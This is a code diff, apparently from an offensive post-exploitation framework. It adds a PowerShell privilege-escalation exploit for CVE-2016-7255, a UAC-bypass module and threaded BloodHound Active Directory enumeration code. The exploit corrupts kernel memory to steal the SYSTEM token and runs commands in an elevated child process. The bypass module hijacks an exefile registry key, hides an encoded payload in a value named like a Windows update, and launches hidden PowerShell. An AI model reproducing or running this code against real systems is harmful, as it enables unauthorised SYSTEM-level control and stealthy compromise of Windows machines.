[gSharedInfoBitmap]::GetProcAddress($User32Hanle, "gSharedInfo") + if ($x32){ + $gSharedInfo = $gSharedInfo.ToInt32() + } else { + $gSharedInfo = $gSharedInfo.ToInt64() + } + $aheList = $gSharedInfo + [System.IntPtr]::Size + if ($x32){ + $aheList = [System.Runtime.InteropServices.Marshal]::ReadInt32($aheList) + $HandleEntry = $aheList + ([int]$AccelHandle -band 0xffff)*0xc # _HANDLEENTRY.Size = 0xC + $phead = [System.Runtime.InteropServices.Marshal]::ReadInt32($HandleEntry) + } else { + $aheList = [System.Runtime.InteropServices.Marshal]::ReadInt64($aheList) + $HandleEntry = $aheList + ([int]$AccelHandle -band 0xffff)*0x18 # _HANDLEENTRY.Size = 0x18 + $phead = [System.Runtime.InteropServices.Marshal]::ReadInt64($HandleEntry) + } + + $Result = @() + $HashTable = @{ + Handle = $AccelHandle + KernelObj = $phead + } + $Object = New-Object PSObject -Property $HashTable + $Result += $Object + $Result + } + + function Destroy-AcceleratorTable { + param ($Hanlde) + $CallResult = [gSharedInfoBitmap]::DestroyAcceleratorTable($Hanlde) + } + + $KernelArray = @() + for ($i=0;$i -lt 20;$i++) { + $KernelArray += Create-AcceleratorTable + if ($KernelArray.Length -gt 1) { + if ($KernelArray[$i].KernelObj -eq $KernelArray[$i-1].KernelObj) { + Destroy-AcceleratorTable -Hanlde $KernelArray[$i].Handle + [IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x50*2*4) + if ($OSMajorMinor -eq "6.1") { + $BitmapHandle = [gSharedInfoBitmap]::CreateBitmap(0x770, 4, 1, 8, $Buffer) # Win7 + } else { + $BitmapHandle = [gSharedInfoBitmap]::CreateBitmap(0x760, 4, 1, 8, $Buffer) # Win8-10 + } + break + } + } + Destroy-AcceleratorTable -Hanlde $KernelArray[$i].Handle + } + + $BitMapObject = @() + $HashTable = @{ + BitmapHandle = $BitmapHandle + BitmapKernelObj = $($KernelArray[$i].KernelObj) + BitmappvScan0 = if ($x32) {$($KernelArray[$i].KernelObj) + 0x32} else {$($KernelArray[$i].KernelObj) + 0x50} + } + $Object = New-Object PSObject -Property $HashTable + $BitMapObject += $Object + $BitMapObject + } + + function Bitmap-Elevate { + param([IntPtr]$ManagerBitmap,[IntPtr]$WorkerBitmap) + + Add-Type -TypeDefinition @" + using System; + using System.Diagnostics; + using System.Runtime.InteropServices; + using System.Security.Principal; + public static class BitmapElevate + { + [DllImport("gdi32.dll")] + public static extern int SetBitmapBits( + IntPtr hbmp, + uint cBytes, + byte[] lpBits); + [DllImport("gdi32.dll")] + public static extern int GetBitmapBits( + IntPtr hbmp, + int cbBuffer, + IntPtr lpvBits); + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr VirtualAlloc( + IntPtr lpAddress, + uint dwSize, + UInt32 flAllocationType, + UInt32 flProtect); + [DllImport("kernel32.dll", SetLastError=true)] + public static extern bool VirtualFree( + IntPtr lpAddress, + uint dwSize, + uint dwFreeType); + [DllImport("kernel32.dll", SetLastError=true)] + public static extern bool FreeLibrary( + IntPtr hModule); + [DllImport("kernel32", SetLastError=true, CharSet = CharSet.Ansi)] + public static extern IntPtr LoadLibrary( + string lpFileName); + [DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)] + public static extern IntPtr GetProcAddress( + IntPtr hModule, + string procName); + } +"@ + + function Bitmap-Read { + param ($Address) + $CallResult = [BitmapElevate]::SetBitmapBits($ManagerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Address)) + [IntPtr]$Pointer = [BitmapElevate]::VirtualAlloc([System.IntPtr]::Zero, [System.IntPtr]::Size, 0x3000, 0x40) + $CallResult = [BitmapElevate]::GetBitmapBits($WorkerBitmap, [System.IntPtr]::Size, $Pointer) + if ($x32Architecture){ + [System.Runtime.InteropServices.Marshal]::ReadInt32($Pointer) + } else { + [System.Runtime.InteropServices.Marshal]::ReadInt64($Pointer) + } + $CallResult = [BitmapElevate]::VirtualFree($Pointer, [System.IntPtr]::Size, 0x8000) + } + + function Bitmap-Write { + param ($Address, $Value) + $CallResult = [BitmapElevate]::SetBitmapBits($ManagerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Address)) + $CallResult = [BitmapElevate]::SetBitmapBits($WorkerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Value)) + } + + switch ($OSMajorMinor) + { + '10.0' # Win10 / 2k16 + { + $UniqueProcessIdOffset = 0x2e8 + $TokenOffset = 0x358 + $ActiveProcessLinks = 0x2f0 + } + + '6.3' # Win8.1 / 2k12R2 + { + $UniqueProcessIdOffset = 0x2e0 + $TokenOffset = 0x348 + $ActiveProcessLinks = 0x2e8 + } + + '6.2' # Win8 / 2k12 + { + $UniqueProcessIdOffset = 0x2e0 + $TokenOffset = 0x348 + $ActiveProcessLinks = 0x2e8 + } + + '6.1' # Win7 / 2k8R2 + { + $UniqueProcessIdOffset = 0x180 + $TokenOffset = 0x208 + $ActiveProcessLinks = 0x188 + } + } + + Write-Verbose "`n[>] Leaking SYSTEM _EPROCESS.." + $SystemModuleArray = Get-LoadedModules + $KernelBase = $SystemModuleArray[0].ImageBase + $KernelType = ($SystemModuleArray[0].ImageName -split "\\")[-1] + $KernelHanle = [BitmapElevate]::LoadLibrary("$KernelType") + $PsInitialSystemProcess = [BitmapElevate]::GetProcAddress($KernelHanle, "PsInitialSystemProcess") + $SysEprocessPtr = if (!$x32Architecture) {$PsInitialSystemProcess.ToInt64() - $KernelHanle + $KernelBase} else {$PsInitialSystemProcess.ToInt32() - $KernelHanle + $KernelBase} + $CallResult = [BitmapElevate]::FreeLibrary($KernelHanle) + Write-Verbose "[+] _EPROCESS list entry: 0x$("{0:X}" -f $SysEprocessPtr)" + $SysEPROCESS = Bitmap-Read -Address $SysEprocessPtr + Write-Verbose "[+] SYSTEM _EPROCESS address: 0x$("{0:X}" -f $(Bitmap-Read -Address $SysEprocessPtr))" + Write-Verbose "[+] PID: $(Bitmap-Read -Address $($SysEPROCESS+$UniqueProcessIdOffset))" + Write-Verbose "[+] SYSTEM Token: 0x$("{0:X}" -f $(Bitmap-Read -Address $($SysEPROCESS+$TokenOffset)))" + $SysToken = Bitmap-Read -Address $($SysEPROCESS+$TokenOffset) + + Write-Verbose "`n[>] Spawn child" + + $npipeName = Get-Random + + Write-Verbose "`n[>] Choosen name : $npipeName" + + $StartupInfo = New-Object STARTUPINFO + $StartupInfo.dwFlags = 0x00000001 + $StartupInfo.wShowWindow = 0x00000000 + $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size + $ProcessInfo = New-Object PROCESS_INFORMATION + $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName + $CallResult = [Advapi32]::CreateProcessWithLogonW( + "user", "domain", "pass", + 0x00000002, "$Env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe", " add-type -assemblyName `'System.Core`';`$npipeClient = new-object System.IO.Pipes.NamedPipeClientStream(`'.`', `'$npipeName`', [System.IO.Pipes.PipeDirection]::InOut,[System.IO.Pipes.PipeOptions]::None,[System.Security.Principal.TokenImpersonationLevel]::Impersonation);`$pipeReader = `$pipeWriter = `$null;`$playerName = `'ping`';`$npipeClient.Connect();`$pipeWriter = new-object System.IO.StreamWriter(`$npipeClient);`$pipeReader = new-object System.IO.StreamReader(`$npipeClient);`$pipeWriter.AutoFlush = `$true;`$pipeWriter.WriteLine(`$playerName);IEX `$pipeReader.ReadLine();`$npipeClient.Dispose();", + $null, $null, $GetCurrentPath, + [ref]$StartupInfo, [ref]$ProcessInfo) + + + add-type -assemblyName "System.Core" + $npipeServer = new-object System.IO.Pipes.NamedPipeServerStream($npipeName, [System.IO.Pipes.PipeDirection]::InOut) + $npipeServer.WaitForConnection() + $pipeReader = new-object System.IO.StreamReader($npipeServer) + $script:pipeWriter = new-object System.IO.StreamWriter($npipeServer) + $pipeWriter.AutoFlush = $true + $playerName = $pipeReader.ReadLine() + + if($playerName -eq "ping") + { + Write-Verbose "[+] Ping from child, voila" + } + + Write-Verbose "[+] Child PID is : $("{0}" -f $ProcessInfo.dwProcessId)`n" + + Write-Verbose "`n[>] Leaking current _EPROCESS.." + Write-Verbose "[+] Traversing ActiveProcessLinks list" + $NextProcess = $(Bitmap-Read -Address $($SysEPROCESS+$ActiveProcessLinks)) - $UniqueProcessIdOffset - [System.IntPtr]::Size + while($true) { + $NextPID = Bitmap-Read -Address $($NextProcess+$UniqueProcessIdOffset) + if ($NextPID -eq $ProcessInfo.dwProcessId) { + Write-Verbose "[+] PowerShell _EPROCESS address: 0x$("{0:X}" -f $NextProcess)" + Write-Verbose "[+] PID: $NextPID" + Write-Verbose "[+] PowerShell Token: 0x$("{0:X}" -f $(Bitmap-Read -Address $($NextProcess+$TokenOffset)))" + $PoShTokenAddr = $NextProcess+$TokenOffset + break + } + $NextProcess = $(Bitmap-Read -Address $($NextProcess+$ActiveProcessLinks)) - $UniqueProcessIdOffset - [System.IntPtr]::Size + } + + Write-Verbose "`n[!] Duplicating SYSTEM token!`n" + + Bitmap-Write -Address $PoShTokenAddr -Value $SysToken + + "`n[!] Success, spawning a system shell!" + + Write-Verbose "[!] Sending command to the elevated child" + $pipeWriter.WriteLine($Command) + $npipeServer.Dispose() + + } + + function Sim-KeyDown { + param([Int]$wKey) + $KeyboardInput = New-Object KEYBDINPUT + $KeyboardInput.dwFlags = 0 + $KeyboardInput.wVk = $wKey + + $InputObject = New-Object INPUT + $InputObject.itype = 1 + $InputObject.U = $KeyboardInput + $InputSize = [System.Runtime.InteropServices.Marshal]::SizeOf($InputObject) + + $CallResult = [ms16135]::SendInput(1, $InputObject, $InputSize) + if ($CallResult -eq 1) { + $true + } else { + $false + } + } + + function Sim-KeyUp { + param([Int]$wKey) + $KeyboardInput = New-Object KEYBDINPUT + $KeyboardInput.dwFlags = 2 + $KeyboardInput.wVk = $wKey + + $InputObject = New-Object INPUT + $InputObject.itype = 1 + $InputObject.U = $KeyboardInput + $InputSize = [System.Runtime.InteropServices.Marshal]::SizeOf($InputObject) + + $CallResult = [ms16135]::SendInput(1, $InputObject, $InputSize) + if ($CallResult -eq 1) { + $true + } else { + $false + } + } + + function Do-AltShiftEsc { + $CallResult = Sim-KeyDown -wKey 0x12 # VK_MENU + $CallResult = Sim-KeyDown -wKey 0x10 # VK_SHIFT + $CallResult = Sim-KeyDown -wKey 0x1b # VK_ESCAPE + $CallResult = Sim-KeyUp -wKey 0x1b # VK_ESCAPE + $CallResult = Sim-KeyDown -wKey 0x1b # VK_ESCAPE + $CallResult = Sim-KeyUp -wKey 0x1b # VK_ESCAPE + $CallResult = Sim-KeyUp -wKey 0x12 # VK_MENU + $CallResult = Sim-KeyUp -wKey 0x10 # VK_SHIFT + } + + function Do-AltShiftTab { + param([Int]$Count) + $CallResult = Sim-KeyDown -wKey 0x12 # VK_MENU + $CallResult = Sim-KeyDown -wKey 0x10 # VK_SHIFT + for ($i=0;$i -lt $count;$i++) { + $CallResult = Sim-KeyDown -wKey 0x9 # VK_TAB + $CallResult = Sim-KeyUp -wKey 0x9 # VK_TAB + } + $CallResult = Sim-KeyUp -wKey 0x12 # VK_MENU + $CallResult = Sim-KeyUp -wKey 0x10 # VK_SHIFT + } + + do { + $Bitmap1 = Stage-gSharedInfoBitmap + $Bitmap2 = Stage-gSharedInfoBitmap + if ($Bitmap1.BitmapKernelObj -lt $Bitmap2.BitmapKernelObj) { + $WorkerBitmap = $Bitmap1 + $ManagerBitmap = $Bitmap2 + } else { + $WorkerBitmap = $Bitmap2 + $ManagerBitmap = $Bitmap1 + } + $Distance = $ManagerBitmap.BitmapKernelObj - $WorkerBitmap.BitmapKernelObj + } while ($Distance -ne 0x2000) + + Write-Verbose "[?] Adjacent large session pool feng shui.." + Write-Verbose "[+] Worker : $('{0:X}' -f $WorkerBitmap.BitmapKernelObj)" + Write-Verbose "[+] Manager : $('{0:X}' -f $ManagerBitmap.BitmapKernelObj)" + Write-Verbose "[+] Distance: 0x$('{0:X}' -f $Distance)" + + $TargetAddress = $WorkerBitmap.BitmapKernelObj + 63 + + function Do-OrAddress { + param([Int64]$Address) + + $AtomCreate = New-Object ms16135 + $hAtom = $AtomCreate.CustomClass("cve-2016-7255") + if ($hAtom -eq 0){ + break + } + + Write-Verbose "`n[?] Creating Window objects" + $hMod = [ms16135]::GetModuleHandleW([String]::Empty) + $hWndParent = [ms16135]::CreateWindowExW(0,"cve-2016-7255",[String]::Empty,0x10CF0000,0,0,360,360,[IntPtr]::Zero,[IntPtr]::Zero,$hMod,[IntPtr]::Zero) + if ($hWndParent -eq 0){ + break + } + + $hWndChild = [ms16135]::CreateWindowExW(0,"cve-2016-7255","cve-2016-7255",0x50CF0000,0,0,160,160,$hWndParent,[IntPtr]::Zero,$hMod,[IntPtr]::Zero) + if ($hWndChild -eq 0){ + break + } + + $Address = $Address - 0x28 + + Write-Verbose "[+] Corrupting child window spmenu" + $CallResult = [ms16135]::SetWindowLongPtr($hWndChild,-12,[IntPtr]$Address) + + $CallResult = [ms16135]::ShowWindow($hWndParent,1) + $hDesktopWindow = [ms16135]::GetDesktopWindow() + $CallResult = [ms16135]::SetParent($hWndChild,$hDesktopWindow) + $CallResult = [ms16135]::SetForegroundWindow($hWndChild) + + Do-AltShiftTab -Count 4 + + $CallResult = [ms16135]::SwitchToThisWindow($hWndChild,$true) + + Do-AltShiftEsc + + function Trigger-Write { + $SafeGuard = [diagnostics.stopwatch]::StartNew() + while ($SafeGuard.ElapsedMilliseconds -lt 3000) { + $tagMSG = New-Object tagMSG + if ($([ms16135]::GetMessage([ref]$tagMSG,[IntPtr]::Zero,0,0))) { + $CallResult = [ms16135]::SetFocus($hWndParent) # + for ($i=0;$i-lt20;$i++){Do-AltShiftEsc} # + $CallResult = [ms16135]::SetFocus($hWndChild) # Bug triggers here! + for ($i=0;$i-lt20;$i++){Do-AltShiftEsc} # + $CallResult = [ms16135]::TranslateMessage([ref]$tagMSG) + $CallResult = [ms16135]::DispatchMessage([ref]$tagMSG) + } + } $SafeGuard.Stop() + } + [IntPtr]$Global:BytePointer = [ms16135]::VirtualAlloc([System.IntPtr]::Zero, 0x2000, 0x3000, 0x40) + do { + Write-Verbose "[+] Trying to trigger arbitrary 'Or'.." + $ByteRead = [ms16135]::GetBitmapBits($WorkerBitmap.BitmapHandle,0x2000,$BytePointer) + Trigger-Write + $LoopCount += 1 + } while ($ByteRead -ne 0x2000 -And $LoopCount -lt 10) + + $CallResult = [ms16135]::DestroyWindow($hWndChild) + $CallResult = [ms16135]::DestroyWindow($hWndParent) + $CallResult = [ms16135]::UnregisterClass("cve-2016-7255",[IntPtr]::Zero) + + if ($LoopCount -eq 10) { + "`n[!] Bug did not trigger, try again or patched?`n" + $Script:BugNotTriggered = 1 + } + } + + Do-OrAddress -Address $TargetAddress + if ($BugNotTriggered) { + Return + } + + if ($OSMajorMinor -eq "6.1") { + $SizeVal = 0x400000770 + } else { + $SizeVal = 0x400000760 + } + do { + $Read64 = [System.Runtime.InteropServices.Marshal]::ReadInt64($BytePointer.ToInt64() + $LoopCount) + if ($Read64 -eq $SizeVal) { + $Pointer1 = [System.Runtime.InteropServices.Marshal]::ReadInt64($BytePointer.ToInt64() + $LoopCount + 16) + $Pointer2 = [System.Runtime.InteropServices.Marshal]::ReadInt64($BytePointer.ToInt64() + $LoopCount + 24) + if ($Pointer1 -eq $Pointer2) { + $BufferOffset = $LoopCount + 16 + Break + } + } + $LoopCount += 8 + } while ($LoopCount -lt 0x2000) + $pvBits = [System.Runtime.InteropServices.Marshal]::ReadInt64($BytePointer.ToInt64() + $BufferOffset) + $pvScan0 = [System.Runtime.InteropServices.Marshal]::ReadInt64($BytePointer.ToInt64() + $BufferOffset + 8) + + if ($pvScan0 -ne 0) { + Write-Verbose "`n[?] Success, reading beyond worker bitmap size!" + Write-Verbose "[+] Old manager bitmap pvScan0: $('{0:X}' -f $pvScan0)" + } else { + "`n[!] Buffer contains invalid data, quitting..`n" + Return + } + + [System.Runtime.InteropServices.Marshal]::WriteInt64($($BytePointer.ToInt64() + $BufferOffset),$WorkerBitmap.BitmappvScan0) + [System.Runtime.InteropServices.Marshal]::WriteInt64($($BytePointer.ToInt64() + $BufferOffset + 8),$WorkerBitmap.BitmappvScan0) + $pvScan0 = [System.Runtime.InteropServices.Marshal]::ReadInt64($BytePointer.ToInt64() + $BufferOffset + 8) + Write-Verbose "[+] New manager bitmap pvScan0: $('{0:X}' -f $pvScan0)" + + $CallResult = [ms16135]::SetBitmapBits($WorkerBitmap.BitmapHandle,0x2000,$BytePointer) + + Bitmap-Elevate -ManagerBitmap $ManagerBitmap.BitmapHandle -WorkerBitmap $WorkerBitmap.BitmapHandle +} diff --git a/data/module_source/privesc/Invoke-SDCLTBypass.ps1 b/data/module_source/privesc/Invoke-SDCLTBypass.ps1 new file mode 100644 index 000000000..3de578390 --- /dev/null +++ b/data/module_source/privesc/Invoke-SDCLTBypass.ps1 @@ -0,0 +1,108 @@ +function Invoke-SDCLTBypass { +<# +.SYNOPSIS + +Bypasses UAC by performing an registry modification of the "IsolatedCommand" value in "shell\runas\command" based on enigma0x3 findings (https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/) + +Only tested on Windows 10 + +Author: Petr Medonos (@PetrMedonos) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.PARAMETER Command + + Specifies the base64 encoded command you want to run in a high-integrity context. + +.EXAMPLE + +Invoke-SDCLTBypass -Command "IgBJAHMAIABFAGwAZQB2AGEAdABlAGQAOgAgACQAKAAoAFsAUwBlAGMAdQByAGkAdAB5AC4AUAByAGkAbgBjAGkAcABhAGwALgBXAGkAbgBkAG8AdwBzAFAAcgBpAG4AYwBpAHAAYQBsAF0AWwBTAGUAYwB1AHIAaQB0AHkALgBQAHIAaQBuAGMAaQBwAGEAbAAuAFcAaQBuAGQAbwB3AHMASQBkAGUAbgB0AGkAdAB5AF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAKAApACkALgBJAHMASQBuAFIAbwBsAGUAKABbAFMAZQBjAHUAcgBpAHQAeQAuAFAAcgBpAG4AYwBpAHAAYQBsAC4AVwBpAG4AZABvAHcAcwBCAHUAaQBsAHQASQBuAFIAbwBsAGUAXQAnAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAJwApACkAIAAtACAAJAAoAEcAZQB0AC0ARABhAHQAZQApACIAIAB8ACAATwB1AHQALQBGAGkAbABlACAAQwA6AFwAVQBBAEMAQgB5AHAAYQBzAHMAVABlAHMAdAAuAHQAeAB0ACAALQBBAHAAcABlAG4AZAA=" + +This will write out "Is Elevated: True" to C:\UACBypassTest. + +#> + + [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')] + Param ( + [Parameter(Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String] + $Command, + + [Switch] + $Force + ) + $ConsentPrompt = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).ConsentPromptBehaviorAdmin + $SecureDesktopPrompt = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).PromptOnSecureDesktop + + if(($(whoami /groups) -like "*S-1-5-32-544*").length -eq 0) { + "[!] Current user not a local administrator!" + Throw ("Current user not a local administrator!") + } + if (($(whoami /groups) -like "*S-1-16-8192*").length -eq 0) { + "[!] Not in a medium integrity process!" + Throw ("Not in a medium integrity process!") + } + + if($ConsentPrompt -Eq 2 -And $SecureDesktopPrompt -Eq 1){ + "UAC is set to 'Always Notify'. This module does not bypass this setting." + exit + } + else{ + #Begin Execution + #Store the payload + $RegPath = 'HKCU:Software\Microsoft\Windows\Update' + $parts = $RegPath.split('\'); + $path = $RegPath.split("\")[0..($parts.count -2)] -join '\'; + $name = $parts[-1]; + $null = Set-ItemProperty -Force -Path $path -Name $name -Value $Command; + + + $exeCommandPath = "HKCU:\Software\Classes\exefile\shell\runas\command" + $launcherCommand = $pshome + '\' + 'powershell.exe -NoP -NonI -w Hidden -c $x=$((gp HKCU:Software\Microsoft\Windows Update).Update); powershell -NoP -NonI -w Hidden -enc $x' + + if ($Force -or ((Get-ItemProperty -Path $exeCommandPath -Name 'IsolatedCommand' -ErrorAction SilentlyContinue) -eq $null)){ + New-Item $exeCommandPath -Force | + New-ItemProperty -Name 'IsolatedCommand' -Value $launcherCommand -PropertyType string -Force | Out-Null + }else{ + Write-Warning "Key already exists, consider using -Force" + exit + } + + if (Test-Path $exeCommandPath) { + Write-Verbose "Created registry entries to hijack the exe runas extension" + }else{ + Write-Warning "Failed to create registry key, exiting" + exit + } + + $sdcltPath = Join-Path -Path ([Environment]::GetFolderPath('System')) -ChildPath 'sdclt.exe' + if ($PSCmdlet.ShouldProcess($sdcltPath, 'Start process')) { + $Process = Start-Process -FilePath $sdcltPath -ArgumentList '/kickoffelev' -PassThru + Write-Verbose "Started sdclt.exe" + } + + #Sleep 5 seconds + Write-Verbose "Sleeping 5 seconds to trigger payload" + if (-not $PSBoundParameters['WhatIf']) { + Start-Sleep -Seconds 5 + } + + $exefilePath = "HKCU:\Software\Classes\exefile" + $PayloadPath = 'HKCU:Software\Microsoft\Windows' + $PayloadKey = "Update" + + if (Test-Path $exefilePath) { + #Remove the registry entry + Remove-Item $exefilePath -Recurse -Force + Remove-ItemProperty -Force -Path $PayloadPath -Name $PayloadKey + Write-Verbose "Removed registry entries" + } + + if(Get-Process -Id $Process.Id -ErrorAction SilentlyContinue){ + Stop-Process -Id $Process.Id + Write-Verbose "Killed running sdclt process" + } + } +} diff --git a/data/module_source/situational_awareness/network/BloodHound.ps1 b/data/module_source/situational_awareness/network/BloodHound.ps1 index b6eeff391..6b2a0ac74 100644 --- a/data/module_source/situational_awareness/network/BloodHound.ps1 +++ b/data/module_source/situational_awareness/network/BloodHound.ps1 @@ -989,11 +989,11 @@ filter Convert-ADName { .PARAMETER InputType - The InputType of the user/group name ("NT4","Simple","Canonical"). + The InputType of the user/group name ("NT4","DN","Simple","Canonical"). .PARAMETER OutputType - The OutputType of the user/group name ("NT4","Simple","Canonical"). + The OutputType of the user/group name ("NT4","DN","Simple","Canonical"). .EXAMPLE @@ -1018,15 +1018,16 @@ filter Convert-ADName { $ObjectName, [String] - [ValidateSet("NT4","Simple","Canonical")] + [ValidateSet("NT4","DN","Simple","Canonical")] $InputType, [String] - [ValidateSet("NT4","Simple","Canonical")] + [ValidateSet("NT4","DN","Simple","Canonical")] $OutputType ) $NameTypes = @{ + 'DN' = 1 'Canonical' = 2 'NT4' = 3 'Simple' = 5 @@ -1046,6 +1047,9 @@ filter Convert-ADName { elseif($ObjectName -match "^[A-Za-z\.]+/[A-Za-z]+/[A-Za-z/ ]+") { $InputType = 'Canonical' } + elseif($ObjectName -match '^CN=.*') { + $InputType = 'DN' + } else { Write-Warning "Can not identify InType for $ObjectName" } @@ -1058,6 +1062,7 @@ filter Convert-ADName { $OutputType = Switch($InputType) { 'NT4' {'Canonical'} 'Simple' {'NT4'} + 'DN' {'NT4'} 'Canonical' {'NT4'} } } @@ -1067,6 +1072,7 @@ filter Convert-ADName { 'NT4' { $ObjectName.split("\")[0] } 'Simple' { $ObjectName.split("@")[1] } 'Canonical' { $ObjectName.split("/")[0] } + 'DN' {$ObjectName.subString($ObjectName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'} } # Accessor functions to simplify calls to NameTranslate @@ -4445,6 +4451,153 @@ function Invoke-MapDomainTrust { # ######################################################## +function New-ThreadedFunction { + # Helper used by any threaded host enumeration functions + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [String[]] + $ComputerName, + + [Parameter(Position = 1, Mandatory = $True)] + [System.Management.Automation.ScriptBlock] + $ScriptBlock, + + [Parameter(Position = 2)] + [Hashtable] + $ScriptParameters, + + [Int] + [ValidateRange(1, 100)] + $Threads = 20, + + [Switch] + $NoImports + ) + + BEGIN { + # Adapted from: + # http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/ + $SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() + $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState() + + # import the current session state's variables and functions so the chained PowerView + # functionality can be used by the threaded blocks + if (-not $NoImports) { + # grab all the current variables for this runspace + $MyVars = Get-Variable -Scope 2 + + # these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice + $VorbiddenVars = @('?','args','ConsoleFileName','Error','ExecutionContext','false','HOME','Host','input','InputObject','MaximumAliasCount','MaximumDriveCount','MaximumErrorCount','MaximumFunctionCount','MaximumHistoryCount','MaximumVariableCount','MyInvocation','null','PID','PSBoundParameters','PSCommandPath','PSCulture','PSDefaultParameterValues','PSHOME','PSScriptRoot','PSUICulture','PSVersionTable','PWD','ShellId','SynchronizedHash','true') + + # add Variables from Parent Scope (current runspace) into the InitialSessionState + ForEach ($Var in $MyVars) { + if ($VorbiddenVars -NotContains $Var.Name) { + $SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes)) + } + } + + # add Functions from current runspace to the InitialSessionState + ForEach ($Function in (Get-ChildItem Function:)) { + $SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition)) + } + } + + # threading adapted from + # https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407 + # Thanks Carlos! + + # create a pool of maxThread runspaces + $Pool = [RunspaceFactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host) + $Pool.Open() + + # do some trickery to get the proper BeginInvoke() method that allows for an output queue + $Method = $Null + ForEach ($M in [PowerShell].GetMethods() | Where-Object { $_.Name -eq 'BeginInvoke' }) { + $MethodParameters = $M.GetParameters() + if (($MethodParameters.Count -eq 2) -and $MethodParameters[0].Name -eq 'input' -and $MethodParameters[1].Name -eq 'output') { + $Method = $M.MakeGenericMethod([Object], [Object]) + break + } + } + + $Jobs = @() + $ComputerName = $ComputerName | Where-Object { $_ -and ($_ -ne '') } + Write-Verbose "[New-ThreadedFunction] Total number of hosts: $($ComputerName.count)" + + # partition all hosts from -ComputerName into $Threads number of groups + if ($Threads -ge $ComputerName.Length) { + $Threads = $ComputerName.Length + } + $ElementSplitSize = [Int]($ComputerName.Length/$Threads) + $ComputerNamePartitioned = @() + $Start = 0 + $End = $ElementSplitSize + + for($i = 1; $i -le $Threads; $i++) { + $List = New-Object System.Collections.ArrayList + if ($i -eq $Threads) { + $End = $ComputerName.Length + } + $List.AddRange($ComputerName[$Start..($End-1)]) + $Start += $ElementSplitSize + $End += $ElementSplitSize + $ComputerNamePartitioned += @(,@($List.ToArray())) + } + + Write-Verbose "[New-ThreadedFunction] Total number of threads/partitions: $Threads" + + ForEach ($ComputerNamePartition in $ComputerNamePartitioned) { + # create a "powershell pipeline runner" + $PowerShell = [PowerShell]::Create() + $PowerShell.runspacepool = $Pool + + # add the script block + arguments with the given computer partition + $Null = $PowerShell.AddScript($ScriptBlock).AddParameter('ComputerName', $ComputerNamePartition) + if ($ScriptParameters) { + ForEach ($Param in $ScriptParameters.GetEnumerator()) { + $Null = $PowerShell.AddParameter($Param.Name, $Param.Value) + } + } + + # create the output queue + $Output = New-Object Management.Automation.PSDataCollection[Object] + + # kick off execution using the BeginInvok() method that allows queues + $Jobs += @{ + PS = $PowerShell + Output = $Output + Result = $Method.Invoke($PowerShell, @($Null, [Management.Automation.PSDataCollection[Object]]$Output)) + } + } + } + + END { + Write-Verbose "[New-ThreadedFunction] Threads executing" + + # continuously loop through each job queue, consuming output as appropriate + Do { + ForEach ($Job in $Jobs) { + $Job.Output.ReadAll() + } + Start-Sleep -Seconds 1 + } + While (($Jobs | Where-Object { -not $_.Result.IsCompleted }).Count -gt 0) + Write-Verbose "[New-ThreadedFunction] Waiting 120 seconds for final cleanup..." + Start-Sleep -Seconds 120 + + # cleanup- make sure we didn't miss anything + ForEach ($Job in $Jobs) { + $Job.Output.ReadAll() + $Job.PS.Dispose() + } + + $Pool.Dispose() + Write-Verbose "[New-ThreadedFunction] all threads completed" + } +} + + function Get-GlobalCatalogUserMapping { <# .SYNOPSIS @@ -4547,6 +4700,18 @@ function Invoke-BloodHound { To modify this, use -CSVFolder. To export to a neo4j RESTful API interface, specify a -URI X and -UserPass "...". + .PARAMETER ComputerName + + Array of one or more computers to enumerate. + + .PARAMETER ComputerADSpath + + The LDAP source to search through for computers, e.g. "LDAP://OU=secret,DC=testlab,DC=local". + + .PARAMETER UserADSpath + + The LDAP source to search through for users/groups, e.g. "LDAP://OU=secret,DC=testlab,DC=local". + .PARAMETER Domain Domain to query for machines, defaults to the current domain. @@ -4557,9 +4722,10 @@ function Invoke-BloodHound { .PARAMETER CollectionMethod - The method to collect data. 'Group', 'LocalGroup', 'GPOLocalGroup', 'Sesssion', 'LoggedOn', 'Trusts, 'Stealth', or 'Default'. + The method to collect data. 'Group', 'ComputerOnly', 'LocalGroup', 'GPOLocalGroup', 'Session', 'LoggedOn', 'Trusts, 'Stealth', or 'Default'. 'Stealth' uses 'Group' collection, stealth user hunting ('Session' on certain servers), 'GPOLocalGroup' enumeration, and trust enumeration. 'Default' uses 'Group' collection, regular user hunting with 'Session'/'LoggedOn', 'LocalGroup' enumeration, and 'Trusts' enumeration. + 'ComputerOnly' only enumerates computers, not groups/trusts, and executes local admin/session/loggedon on each. .PARAMETER SearchForest @@ -4586,6 +4752,10 @@ function 